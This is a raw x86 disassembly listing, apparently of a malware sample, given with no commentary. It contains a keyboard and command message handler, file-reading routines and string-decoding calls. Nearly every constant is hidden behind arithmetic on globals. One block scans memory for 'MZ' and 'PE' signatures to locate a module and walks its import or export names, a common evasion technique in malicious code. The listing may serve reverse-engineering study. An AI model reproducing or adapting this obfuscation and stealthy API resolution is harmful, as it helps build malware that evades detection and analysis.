; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 230h
push ebx
push esi
push edi
mov esi, [ebp+8]
mov ebx, [ebp+0Ch]
mov eax, ebx
cmp eax, 100h
jz short loc_41FE34
jl loc_420372
cmp eax, 111h
jz loc_41FEC5
jmp loc_420372
; ---------------------------------------------------------------------------
loc_41FE34: ; CODE XREF: .data:0041FE1Cj
cmp dword ptr [ebp+10h], 9
jnz loc_420372
mov edi, ds:1001315Ch
sub edi, 9
jmp short loc_41FEB4
; ---------------------------------------------------------------------------
loc_41FE49: ; CODE XREF: .data:0041FEBEj
mov eax, 30h
mul edi
mov [ebp-208h], eax
cmp ds:10010380h[eax], esi
jnz short loc_41FE7E
mov eax, 30h
mul edi
mov [ebp-20Ch], eax
push dword ptr ds:10010384h[eax]
call dword ptr ds:1000FA40h
jmp loc_420372
; ---------------------------------------------------------------------------
loc_41FE7E: ; CODE XREF: .data:0041FE5Dj
mov eax, 30h
mul edi
mov [ebp-20Ch], eax
cmp ds:10010384h[eax], esi
jnz short loc_41FEB3
mov eax, 30h
mul edi
mov [ebp-210h], eax
push dword ptr ds:10010388h[eax]
call dword ptr ds:1000FA40h
jmp loc_420372
; ---------------------------------------------------------------------------
loc_41FEB3: ; CODE XREF: .data:0041FE92j
inc edi
loc_41FEB4: ; CODE XREF: .data:0041FE47j
mov eax, ds:10013258h
add eax, 62h
cmp edi, eax
jb short loc_41FE49
jmp loc_420372
; ---------------------------------------------------------------------------
loc_41FEC5: ; CODE XREF: .data:0041FE29j
mov eax, ds:10013134h
mov edi, eax
add edi, ds:10013224h
sub edi, 0Dh
jmp short loc_41FEF1
; ---------------------------------------------------------------------------
loc_41FED7: ; CODE XREF: .data:0041FF04j
mov eax, 30h
mul edi
mov [ebp-208h], eax
mov eax, ds:1001038Ch[eax]
cmp [ebp+14h], eax
jz short loc_41FF06
inc edi
loc_41FEF1: ; CODE XREF: .data:0041FED5j
movsx eax, word ptr ds:10013264h
mov edx, ds:10013288h
lea eax, [eax+edx+55h]
cmp edi, eax
jb short loc_41FED7
loc_41FF06: ; CODE XREF: .data:0041FEEEj
mov eax, ds:10013258h
add eax, 5Eh
movsx edx, word ptr ds:10013180h
add eax, edx
cmp edi, eax
jz loc_420372
push 0FFh
lea eax, [ebp-103h]
push eax
mov eax, 30h
mul edi
mov [ebp-20Ch], eax
push dword ptr ds:10010378h[eax]
call dword ptr ds:10012BA4h
movsx eax, word ptr ds:10013124h
mov byte ptr [ebp+eax-20Ah], 4Bh
mov eax, ds:100130F8h
mov edx, ds:1001321Ch
sub edx, 8
mov [ebp+eax-20Ah], dl
lea eax, [ebp-103h]
push eax
lea eax, [ebp-204h]
push eax
call dword ptr ds:1000D020h
add esp, 8
push 0FFh
lea eax, [ebp-103h]
push eax
mov eax, 30h
mul edi
mov [ebp-210h], eax
push dword ptr ds:10010380h[eax]
call dword ptr ds:10012BA4h
mov eax, ds:100130F8h
add eax, ds:10013268h
movsx eax, byte ptr [ebp+eax-10Eh]
cmp eax, ds:10013248h
jnz short loc_420006
push 10013D6Dh
call sub_41C914
pop ecx
mov edx, ds:1001318Ch
add edx, ds:1001309Ch
sub edx, 5
push edx
push 0
push eax
push 0
call dword ptr ds:10012644h
mov eax, 30h
mul edi
mov [ebp-214h], eax
push dword ptr ds:10010380h[eax]
call dword ptr ds:1000FA40h
jmp loc_420372
; ---------------------------------------------------------------------------
loc_420006: ; CODE XREF: .data:0041FFBFj
push 10013D68h
call sub_41C914
push eax
lea edx, [ebp-204h]
push edx
call dword ptr ds:1000D020h
lea eax, [ebp-103h]
push eax
lea eax, [ebp-204h]
push eax
call dword ptr ds:1000D020h
add esp, 14h
push 0FFh
lea eax, [ebp-103h]
push eax
mov eax, 30h
mul edi
mov [ebp-214h], eax
push dword ptr ds:10010384h[eax]
call dword ptr ds:10012BA4h
mov eax, ds:100131ACh
movsx eax, byte ptr [ebp+eax-108h]
mov edx, ds:10013184h
sub edx, 2
cmp eax, edx
jnz short loc_4200BA
push 10013D46h
call sub_41C914
pop ecx
mov edx, ds:1001319Ch
add edx, ds:1001325Ch
sub edx, 0Eh
push edx
push 0
push eax
push 0
call dword ptr ds:10012644h
mov eax, 30h
mul edi
mov [ebp-218h], eax
push dword ptr ds:10010384h[eax]
call dword ptr ds:1000FA40h
jmp loc_420372
; ---------------------------------------------------------------------------
loc_4200BA: ; CODE XREF: .data:00420073j
push 10013D41h
call sub_41C914
push eax
lea edx, [ebp-204h]
push edx
call dword ptr ds:1000D020h
lea eax, [ebp-103h]
push eax
lea eax, [ebp-204h]
push eax
call dword ptr ds:1000D020h
add esp, 14h
push 0FFh
lea eax, [ebp-103h]
push eax
mov eax, 30h
mul edi
mov [ebp-218h], eax
push dword ptr ds:10010388h[eax]
call dword ptr ds:10012BA4h
movsx eax, word ptr ds:10013098h
movsx eax, byte ptr [ebp+eax-105h]
mov edx, ds:1001318Ch
add edx, ds:10013268h
sub edx, 4
cmp eax, edx
jz loc_42025C
lea ecx, [ebp-103h]
or eax, 0FFFFFFFFh
loc_42013E: ; CODE XREF: .data:00420143j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_42013E
mov ecx, ds:10013120h
sub ecx, 1
cmp eax, ecx
jb loc_42025C
movsx eax, word ptr ds:10013150h
add eax, ds:1001321Ch
sub eax, 10h
mov [ebp-105h], al
jmp short loc_420190
; ---------------------------------------------------------------------------
loc_42016E: ; CODE XREF: .data:004201A9j
movzx eax, byte ptr [ebp-105h]
mov al, [ebp+eax-103h]
cmp al, 30h
jl short loc_420184
cmp al, 39h
jle short loc_420189
loc_420184: ; CODE XREF: .data:0042017Ej
jmp loc_42025C
; ---------------------------------------------------------------------------
loc_420189: ; CODE XREF: .data:00420182j
add byte ptr [ebp-105h], 1
loc_420190: ; CODE XREF: .data:0042016Cj
lea ecx, [ebp-103h]
or eax, 0FFFFFFFFh
loc_420199: ; CODE XREF: .data:0042019Ej
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_420199
movzx ecx, byte ptr [ebp-105h]
cmp ecx, eax
jb short loc_42016E
mov eax, ds:10013280h
add eax, ds:100130D4h
sub eax, 0Ah
mov [ebp-104h], al
jmp short loc_420238
; ---------------------------------------------------------------------------
loc_4201C1: ; CODE XREF: .data:00420251j
mov al, [ebp-104h]
mov [ebp-219h], al
jmp short loc_4201F8
; ---------------------------------------------------------------------------
loc_4201CF: ; CODE XREF: .data:00420211j
movzx eax, byte ptr [ebp-219h]
movsx eax, byte ptr [ebp+eax-103h]
movzx edx, byte ptr [ebp-104h]
movsx edx, byte ptr [ebp+edx-103h]
cmp eax, edx
jnz short loc_420213
add byte ptr [ebp-219h], 1
loc_4201F8: ; CODE XREF: .data:004201CDj
lea ecx, [ebp-103h]
or eax, 0FFFFFFFFh
loc_420201: ; CODE XREF: .data:00420206j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_420201
movzx ecx, byte ptr [ebp-219h]
cmp ecx, eax
jb short loc_4201CF
loc_420213: ; CODE XREF: .data:004201EFj
movzx eax, byte ptr [ebp-219h]
movzx edx, byte ptr [ebp-104h]
sub eax, edx
movsx edx, word ptr ds:100130BCh
sub edx, 6
cmp eax, edx
jg short loc_42025C
add byte ptr [ebp-104h], 1
loc_420238: ; CODE XREF: .data:004201BFj
lea ecx, [ebp-103h]
or eax, 0FFFFFFFFh
loc_420241: ; CODE XREF: .data:00420246j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_420241
movzx ecx, byte ptr [ebp-104h]
cmp ecx, eax
jb loc_4201C1
jmp loc_4202EB
; ---------------------------------------------------------------------------
loc_42025C: ; CODE XREF: .data:0042012Fj
; .data:00420150j ...
mov eax, ds:100131C4h
add eax, 7CBh
push eax
call dword ptr ds:10012630h
push 10013D08h
call sub_41C914
mov [ebp-21Ch], eax
push 10013CF1h
call sub_41C914
movsx edx, word ptr ds:10013174h
sub edx, 7
push edx
push eax
mov edx, [ebp-21Ch]
push edx
push 0
call dword ptr ds:10012644h
push 10013CEDh
call sub_41C914
add esp, 10h
push eax
mov eax, 30h
mul edi
mov [ebp-220h], eax
mov edx, eax
push dword ptr ds:10010388h[edx]
call dword ptr ds:10012658h
mov eax, 30h
mul edi
mov [ebp-224h], eax
push dword ptr ds:10010388h[eax]
call dword ptr ds:1000FA40h
jmp loc_420372
; ---------------------------------------------------------------------------
loc_4202EB: ; CODE XREF: .data:00420257j
push 10013CE8h
call sub_41C914
push eax
lea edx, [ebp-204h]
push edx
call dword ptr ds:1000D020h
lea eax, [ebp-103h]
push eax
lea eax, [ebp-204h]
push eax
call dword ptr ds:1000D020h
mov eax, 30h
mul edi
mov [ebp-228h], eax
push dword ptr ds:10010378h[eax]
call dword ptr ds:10010224h
lea eax, [ebp-204h]
push eax
call dword ptr ds:1000D04Ch
add esp, 18h
push 5
mov eax, 30h
mul edi
mov [ebp-22Ch], eax
push dword ptr ds:10010374h[eax]
call dword ptr ds:1001265Ch
mov eax, 30h
mul edi
mov [ebp-230h], eax
and dword ptr ds:10010370h[eax], 0
loc_420372: ; CODE XREF: .data:0041FE1Ej
; .data:0041FE2Fj ...
mov eax, ds:100130C8h
movsx edx, word ptr ds:100131B4h
mov edi, eax
add edi, edx
sub edi, 4
jmp loc_42045E
; ---------------------------------------------------------------------------
loc_42038A: ; CODE XREF: .data:0042046Aj
mov eax, 30h
mul edi
mov [ebp-8], eax
cmp esi, ds:10010380h[eax]
jnz short loc_4203C1
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push ebx
push esi
mov eax, 30h
mul edi
mov [ebp-0Ch], eax
push dword ptr ds:10010390h[eax]
call dword ptr ds:1001260Ch
jmp loc_420470
; ---------------------------------------------------------------------------
loc_4203C1: ; CODE XREF: .data:0042039Bj
mov eax, 30h
mul edi
mov [ebp-10h], eax
cmp esi, ds:10010384h[eax]
jnz short loc_4203F5
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push ebx
push esi
mov eax, 30h
mul edi
mov [ebp-14h], eax
push dword ptr ds:10010394h[eax]
call dword ptr ds:1001260Ch
jmp short loc_420470
; ---------------------------------------------------------------------------
loc_4203F5: ; CODE XREF: .data:004203D2j
mov eax, 30h
mul edi
mov [ebp-18h], eax
cmp esi, ds:10010388h[eax]
jnz short loc_420429
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push ebx
push esi
mov eax, 30h
mul edi
mov [ebp-1Ch], eax
push dword ptr ds:10010398h[eax]
call dword ptr ds:1001260Ch
jmp short loc_420470
; ---------------------------------------------------------------------------
loc_420429: ; CODE XREF: .data:00420406j
mov eax, 30h
mul edi
mov [ebp-20h], eax
cmp esi, ds:1001037Ch[eax]
jnz short loc_42045D
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push ebx
push esi
mov eax, 30h
mul edi
mov [ebp-24h], eax
push dword ptr ds:1001039Ch[eax]
call dword ptr ds:1001260Ch
jmp short loc_420470
; ---------------------------------------------------------------------------
loc_42045D: ; CODE XREF: .data:0042043Aj
inc edi
loc_42045E: ; CODE XREF: .data:00420385j
movsx eax, word ptr ds:100130D8h
add eax, 62h
cmp edi, eax
jb loc_42038A
loc_420470: ; CODE XREF: .data:004203BCj
; .data:004203F3j ...
pop edi
pop esi
pop ebx
leave
retn 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420477 proc near ; CODE XREF: sub_41AD81+247p
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_28 = dword ptr -28h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
push 1
push [ebp+arg_4]
call sub_41C9F7
add esp, 8
mov [ebp+var_48], eax
test eax, eax
jnz loc_42069C
mov [ebp+var_18], 8
push 10013CD8h
call sub_41FB74
pop ecx
push eax
call dword ptr ds:1000D044h
mov [ebp+var_10], eax
lea eax, [ebp+var_8]
push eax
lea esi, [ebp+var_18]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+arg_4]
push edi
mov edi, [edi]
call dword ptr [edi+30h]
mov ebx, eax
movsx eax, word ptr ds:100131A4h
sub eax, 7
cmp ebx, eax
jnz loc_420684
lea eax, [ebp+var_3C]
push eax
push 10014A68h
mov eax, [ebp+var_8]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, ds:10013280h
add eax, ds:1001320Ch
sub eax, 0Ah
cmp ebx, eax
jnz loc_42067B
mov [ebp+var_30], 2
mov eax, ds:10013164h
sub eax, 4
mov [ebp+var_28], eax
lea eax, [ebp+var_1C]
push eax
lea esi, [ebp+var_30]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
lea esi, [ebp+var_30]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_3C]
push edi
mov edi, [edi]
call dword ptr [edi+2Ch]
mov ebx, eax
mov eax, ds:10013288h
add eax, ds:10013184h
sub eax, 8
cmp ebx, eax
jnz loc_420672
and [ebp+var_4], 0
lea eax, [ebp+var_4]
push eax
push 10014A78h
mov eax, [ebp+var_1C]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
movsx eax, word ptr ds:10013160h
dec eax
cmp ebx, eax
jnz loc_420669
inc dword ptr ds:1000F620h
movsx eax, word ptr ds:10013104h
add eax, 2
cmp ds:1000F620h, eax
jb short loc_4205C4
mov eax, ds:100130F4h
add eax, 3
mov ds:1000F620h, eax
push [ebp+var_4]
call sub_41B930
pop ecx
jmp loc_420660
; ---------------------------------------------------------------------------
loc_4205C4: ; CODE XREF: sub_420477+130j
mov eax, ds:100130ACh
movsx edx, word ptr ds:100130D8h
add eax, edx
sub eax, 3
mov [ebp+var_4C], eax
lea eax, [ebp+var_44]
push eax
push dword ptr ds:10011640h
call sub_42088C
mov [ebp+var_34], eax
lea eax, [ebp+var_40]
push eax
push dword ptr ds:1000D018h
call sub_42088C
add esp, 10h
mov [ebp+var_38], eax
cmp [ebp+var_44], 0
jz short loc_420620
cmp [ebp+var_34], 0
jz short loc_420620
lea eax, [ebp+var_4C]
push eax
push [ebp+var_4]
push [ebp+var_44]
push [ebp+var_34]
call sub_41BA2F
add esp, 10h
loc_420620: ; CODE XREF: sub_420477+18Cj
; sub_420477+192j
cmp [ebp+var_40], 0
jz short loc_420641
cmp [ebp+var_38], 0
jz short loc_420641
lea eax, [ebp+var_4C]
push eax
push [ebp+var_4]
push [ebp+var_40]
push [ebp+var_38]
call sub_41BA2F
add esp, 10h
loc_420641: ; CODE XREF: sub_420477+1ADj
; sub_420477+1B3j
push [ebp+var_34]
call dword ptr ds:1000F61Ch
push [ebp+var_38]
call dword ptr ds:1000F61Ch
push 0
push [ebp+arg_4]
call sub_41C9F7
add esp, 8
loc_420660: ; CODE XREF: sub_420477+148j
mov eax, [ebp+var_4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_420669: ; CODE XREF: sub_420477+114j
mov eax, [ebp+var_1C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_420672: ; CODE XREF: sub_420477+E8j
mov eax, [ebp+var_3C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_42067B: ; CODE XREF: sub_420477+94j
mov eax, [ebp+var_8]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_420684: ; CODE XREF: sub_420477+66j
lea eax, [ebp+var_18]
push eax
call dword ptr ds:10012BA0h
movsx eax, word ptr ds:100131E0h
sub eax, 3
cmp ebx, eax
jz short $+2
loc_42069C: ; CODE XREF: sub_420477+1Bj
pop edi
pop esi
pop ebx
leave
retn
sub_420477 endp
; ---------------------------------------------------------------------------
db 0B8h, 1, 40h
dd 18C28000h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4206A9 proc near ; CODE XREF: sub_41C19D+2CEp
; sub_41D764+263p
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_328 = dword ptr -328h
var_324 = dword ptr -324h
var_320 = dword ptr -320h
var_31C = dword ptr -31Ch
var_316 = byte ptr -316h
var_212 = byte ptr -212h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 330h
push ebx
push esi
push edi
push [ebp+arg_4]
call dword ptr ds:10012630h
pop ecx
push [ebp+arg_0]
lea eax, [ebp+var_316]
push eax
call sub_423399
lea ecx, [ebp+var_316]
or eax, 0FFFFFFFFh
loc_4206D7: ; CODE XREF: sub_4206A9+33j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4206D7
mov edx, ds:100131C4h
add edx, ds:1001314Ch
sub edx, 0Ah
mov ebx, eax
sub ebx, edx
mov edx, ds:10013254h
sub edx, 9
mov [ebp+ebx+var_316], dl
mov eax, ds:10013268h
movsx edx, word ptr ds:100130A4h
mov edi, eax
add edi, edx
sub edi, 0Ah
loc_420714: ; CODE XREF: sub_4206A9+177j
mov eax, edi
movsx ecx, word ptr ds:10013240h
mul ecx
mov [ebp+var_320], eax
movsx eax, [ebp+edi+var_316]
mov edx, [ebp+var_320]
mov [ebp+edx+var_212], al
mov eax, edi
movsx ecx, word ptr ds:100131F0h
dec ecx
mul ecx
mov [ebp+var_324], eax
mov eax, ds:100131F4h
movsx edx, word ptr ds:100130CCh
add eax, edx
sub eax, 0Ah
mov edx, [ebp+var_324]
add edx, eax
mov eax, ds:1001321Ch
sub eax, 8
mov [ebp+edx+var_212], al
movsx eax, [ebp+edi+var_316]
mov edx, ds:10013114h
sub edx, 8
cmp eax, edx
jnz loc_42081F
mov eax, edi
mov ecx, ds:10013270h
sub ecx, 2
mul ecx
mov [ebp+var_328], eax
mov eax, ds:100130F8h
add eax, ds:100130ECh
sub eax, 9
mov edx, [ebp+var_328]
add edx, eax
movsx eax, word ptr ds:1001316Ch
add eax, ds:10013164h
sub eax, 5
mov [ebp+edx+var_212], al
mov eax, ds:1001314Ch
mov [ebp+var_32C], eax
mov eax, edi
mov edx, [ebp+var_32C]
mov ecx, edx
add ecx, ds:10013204h
sub ecx, 5
mul ecx
mov [ebp+var_330], eax
mov eax, ds:1001314Ch
sub eax, 3
mov edx, [ebp+var_330]
add edx, eax
movsx eax, word ptr ds:100130B0h
movsx ecx, word ptr ds:10013124h
add eax, ecx
sub eax, 0Dh
mov [ebp+edx+var_212], al
jmp short loc_420825
; ---------------------------------------------------------------------------
loc_42081F: ; CODE XREF: sub_4206A9+DEj
inc edi
jmp loc_420714
; ---------------------------------------------------------------------------
loc_420825: ; CODE XREF: sub_4206A9+174j
cmp dword ptr ds:100132ACh, 0
jz short loc_420866
lea eax, [ebp+var_212]
push eax
push 0
call dword ptr ds:1000F604h
mov esi, eax
or esi, esi
jz short loc_420866
cmp dword ptr ds:100132B0h, 0
jz short loc_420887
mov eax, ds:1001313Ch
sub eax, 2
neg eax
push eax
lea eax, [ebp+var_212]
push eax
push 0
call dword ptr ds:1000D01Ch
loc_420866: ; CODE XREF: sub_4206A9+183j
; sub_4206A9+198j
push dword ptr ds:1000F614h
push dword ptr ds:10012610h
lea eax, [ebp+var_316]
push eax
call sub_421353
add esp, 0Ch
mov [ebp+var_31C], eax
loc_420887: ; CODE XREF: sub_4206A9+1A1j
pop edi
pop esi
pop ebx
leave
retn
sub_4206A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42088C proc near ; CODE XREF: .data:0041DDDDp
; sub_420477+16Bp ...
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
push 0
push 80h
push 3
push 0
push 3
push 80000000h
push [ebp+arg_0]
call dword ptr ds:10012788h
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_4208D5
cmp [ebp+arg_4], 0
jz short loc_4208D1
mov eax, [ebp+arg_4]
movsx edx, word ptr ds:100130BCh
add edx, ds:100131ACh
sub edx, 0Eh
mov [eax], edx
loc_4208D1: ; CODE XREF: sub_42088C+2Ej
xor eax, eax
jmp short loc_420919
; ---------------------------------------------------------------------------
loc_4208D5: ; CODE XREF: sub_42088C+28j
push 0
push edi
call dword ptr ds:10012624h
mov esi, eax
add eax, 10h
push eax
push 40h
call dword ptr ds:1000FA34h
mov ebx, eax
push 0
cmp [ebp+arg_4], 0
jz short loc_4208FE
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
jmp short loc_420904
; ---------------------------------------------------------------------------
loc_4208FE: ; CODE XREF: sub_42088C+68j
lea eax, [ebp+var_4]
mov [ebp+var_8], eax
loc_420904: ; CODE XREF: sub_42088C+70j
push [ebp+var_8]
push esi
push ebx
push edi
call dword ptr ds:1000D028h
push edi
call dword ptr ds:10011654h
mov eax, ebx
loc_420919: ; CODE XREF: sub_42088C+47j
pop edi
pop esi
pop ebx
leave
retn
sub_42088C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42091E proc near ; CODE XREF: sub_419F88+1CAp
; sub_41B354+2D9p ...
var_120A = byte ptr -120Ah
var_110B = byte ptr -110Bh
var_100C = dword ptr -100Ch
var_1008 = dword ptr -1008h
var_1004 = dword ptr -1004h
var_FFF = byte ptr -0FFFh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 120Ch
call sub_423379
push ebx
push esi
push edi
push 100138A8h
call sub_41C914
push eax
lea edi, [ebp+var_FFF]
push edi
call dword ptr ds:10012634h
add esp, 0Ch
mov esi, ds:100131B8h
sub esi, 5
jmp short loc_42096E
; ---------------------------------------------------------------------------
loc_420954: ; CODE XREF: sub_42091E+56j
cmp [ebp+esi+var_FFF], 23h
jnz short loc_42096D
mov eax, ds:100131F8h
sub eax, 3
mov [ebp+esi+var_FFF], al
loc_42096D: ; CODE XREF: sub_42091E+3Ej
inc esi
loc_42096E: ; CODE XREF: sub_42091E+34j
cmp esi, 0FFFh
jb short loc_420954
mov eax, ds:100131B8h
sub eax, 5
mov [ebp+var_1004], eax
mov eax, ds:100130C4h
mov ebx, eax
add ebx, ds:100130C8h
sub ebx, 7
cmp [ebp+arg_0], 0
jnz short loc_4209F3
loc_42099A: ; CODE XREF: sub_42091E+D3j
mov eax, [ebp+arg_4]
cmp [ebp+var_1004], eax
jnz short loc_4209BC
lea eax, [ebp+ebx+var_FFF]
push eax
push 10012670h
call sub_423399
jmp loc_420C46
; ---------------------------------------------------------------------------
loc_4209BC: ; CODE XREF: sub_42091E+85j
lea ecx, [ebp+ebx+var_FFF]
or eax, 0FFFFFFFFh
loc_4209C6: ; CODE XREF: sub_42091E+ADj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4209C6
add ebx, eax
add ebx, 1
inc [ebp+var_1004]
movsx eax, [ebp+ebx+var_FFF]
mov edx, ds:1001315Ch
sub edx, 9
cmp eax, edx
jz loc_420C46
jmp short loc_42099A
; ---------------------------------------------------------------------------
loc_4209F3: ; CODE XREF: sub_42091E+7Aj
mov eax, ds:10013350h
mov [ebp+var_1008], eax
mov eax, ds:10013210h
add eax, ds:10013268h
sub eax, 5
mov edx, [ebp+arg_0]
mov ecx, ds:100130D4h
sub ecx, 6
mov [edx+eax], cl
mov eax, ds:1001309Ch
mov ebx, eax
add ebx, ds:1001318Ch
sub ebx, 5
mov eax, ds:100131D0h
add eax, ds:1001312Ch
sub eax, 0Fh
mov [ebp+var_1004], eax
loc_420A3F: ; CODE XREF: sub_42091E+300j
push 1001389Dh
call sub_41C914
push eax
lea edi, [ebp+var_110B]
push edi
call sub_423399
lea eax, [ebp+ebx+var_FFF]
push eax
lea eax, [ebp+var_110B]
push eax
call dword ptr ds:1000D020h
add esp, 0Ch
call dword ptr ds:10012BACh
mov ecx, 14h
cdq
idiv ecx
mov [ebp+var_100C], edx
mov eax, ds:10013090h
add eax, ds:10013220h
sub eax, 5
cmp edx, eax
jnb loc_420B71
push [ebp+var_1008]
lea eax, [ebp+var_120A]
push eax
call sub_41AFF0
mov eax, ds:1001319Ch
movsx edx, word ptr ds:10013230h
add eax, edx
sub eax, 0Bh
push eax
lea eax, [ebp+var_110B]
push eax
push [ebp+arg_0]
call sub_4188C2
add esp, 14h
mov edi, ds:10013220h
add edi, 0FFFBh
cmp eax, edi
jnz short loc_420B05
lea eax, [ebp+var_110B]
push eax
push [ebp+arg_0]
call dword ptr ds:1000D020h
push 10013898h
call sub_41C914
push eax
push [ebp+arg_0]
call dword ptr ds:1000D020h
add esp, 14h
loc_420B05: ; CODE XREF: sub_42091E+1BEj
mov eax, ds:100130DCh
sub eax, 2
push eax
lea eax, [ebp+var_120A]
push eax
push [ebp+arg_0]
call sub_4188C2
add esp, 0Ch
mov edi, ds:1001319Ch
add edi, 0FFF9h
cmp eax, edi
jnz short loc_420B6B
push 1001388Dh
call sub_41C914
push eax
push [ebp+arg_0]
call dword ptr ds:1000D020h
lea eax, [ebp+var_120A]
push eax
push [ebp+arg_0]
call dword ptr ds:1000D020h
push 10013888h
call sub_41C914
push eax
push [ebp+arg_0]
call dword ptr ds:1000D020h
add esp, 20h
loc_420B6B: ; CODE XREF: sub_42091E+210j
inc [ebp+var_1008]
loc_420B71: ; CODE XREF: sub_42091E+174j
push [ebp+var_1004]
call sub_41D0D6
pop ecx
mov [ebp+var_100C], eax
mov ecx, ds:100131A8h
cmp eax, ecx
jnb short loc_420BE9
movsx eax, word ptr ds:10013150h
sub eax, 7
push eax
lea eax, [ebp+var_110B]
push eax
push [ebp+arg_0]
call sub_4188C2
add esp, 0Ch
movsx edi, word ptr ds:10013208h
mov edx, ds:1001313Ch
lea edi, [edi+edx+0FFF7h]
cmp eax, edi
jnz short loc_420BE9
lea eax, [ebp+var_110B]
push eax
push [ebp+arg_0]
call dword ptr ds:1000D020h
push 10013883h
call sub_41C914
push eax
push [ebp+arg_0]
call dword ptr ds:1000D020h
add esp, 14h
loc_420BE9: ; CODE XREF: sub_42091E+26Dj
; sub_42091E+2A2j
lea ecx, [ebp+ebx+var_FFF]
or eax, 0FFFFFFFFh
loc_420BF3: ; CODE XREF: sub_42091E+2DAj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_420BF3
add ebx, eax
add ebx, 1
inc [ebp+var_1004]
movsx eax, [ebp+ebx+var_FFF]
mov edx, ds:1001326Ch
add edx, ds:10013090h
sub edx, 0Ch
cmp eax, edx
jnz loc_420A3F
push 1001387Eh
call sub_41C914
push eax
push [ebp+arg_0]
call dword ptr ds:1000D020h
add esp, 0Ch
mov eax, [ebp+var_1008]
mov ds:10013350h, eax
loc_420C46: ; CODE XREF: sub_42091E+99j
; sub_42091E+CDj
pop edi
pop esi
pop ebx
leave
retn
sub_42091E endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 138h
push ebx
push esi
push edi
lea eax, ds:10007C0Ah
mov [ebp-10h], eax
mov edx, eax
movsx ecx, word ptr ds:10013160h
add ecx, 0Fh
mov eax, edx
shr eax, cl
movsx edx, word ptr ds:10013124h
add edx, 0Ah
mov ecx, edx
mov ebx, eax
shl ebx, cl
loc_420C80: ; CODE XREF: .data:00420C98j
; .data:00420CC8j ...
mov [ebp-18h], ebx
mov eax, ebx
cmp word ptr [eax], 5A4Dh
jz short loc_420C9A
mov eax, ds:10013188h
add eax, 10000h
sub ebx, eax
jmp short loc_420C80
; ---------------------------------------------------------------------------
loc_420C9A: ; CODE XREF: .data:00420C8Aj
mov eax, ds:1001315Ch
add eax, 2Dh
add eax, ds:10013288h
mov esi, ebx
add esi, eax
mov eax, ebx
add eax, [esi]
mov [ebp-14h], eax
mov ecx, [ebp-10h]
cmp eax, ecx
jbe short loc_420CCA
movsx eax, word ptr ds:100130E8h
add eax, 0FFFFh
sub ebx, eax
jmp short loc_420C80
; ---------------------------------------------------------------------------
loc_420CCA: ; CODE XREF: .data:00420CB8j
mov eax, [ebp-14h]
mov [ebp-8], eax
movzx eax, word ptr [eax]
cmp eax, 4550h
jz short loc_420CEA
movsx eax, word ptr ds:10013218h
add eax, 0FFFBh
sub ebx, eax
jmp short loc_420C80
; ---------------------------------------------------------------------------
loc_420CEA: ; CODE XREF: .data:00420CD8j
mov eax, [ebp-8]
mov eax, [eax+80h]
mov [ebp-0Ch], eax
movsx eax, word ptr ds:10013174h
sub eax, 7
mov [ebp-4], eax
jmp loc_420E87
; ---------------------------------------------------------------------------
loc_420D08: ; CODE XREF: .data:00420E93j
mov eax, ebx
add eax, [ebp-0Ch]
add eax, [ebp-4]
mov [ebp-12Ch], eax
mov edx, ds:1001312Ch
movsx ecx, word ptr ds:10013180h
add edx, ecx
sub edx, 0Ch
cmp [eax], edx
jz loc_420E99
mov eax, [ebp-12Ch]
mov edx, ebx
add edx, [eax+0Ch]
mov [ebp-130h], edx
push edx
lea eax, [ebp-127h]
push eax
call sub_423399
mov eax, ds:100131ACh
add eax, ds:10013164h
sub eax, 9
mov [ebp-28h], eax
jmp short loc_420D83
; ---------------------------------------------------------------------------
loc_420D61: ; CODE XREF: .data:00420DA2j
mov eax, [ebp-28h]
mov al, [ebp+eax-127h]
cmp al, 61h
jle short loc_420D80
cmp al, 7Ah
jge short loc_420D80
mov eax, [ebp-28h]
lea eax, [ebp+eax-127h]
sub byte ptr [eax], 20h
loc_420D80: ; CODE XREF: .data:00420D6Dj
; .data:00420D71j
inc dword ptr [ebp-28h]
loc_420D83: ; CODE XREF: .data:00420D5Fj
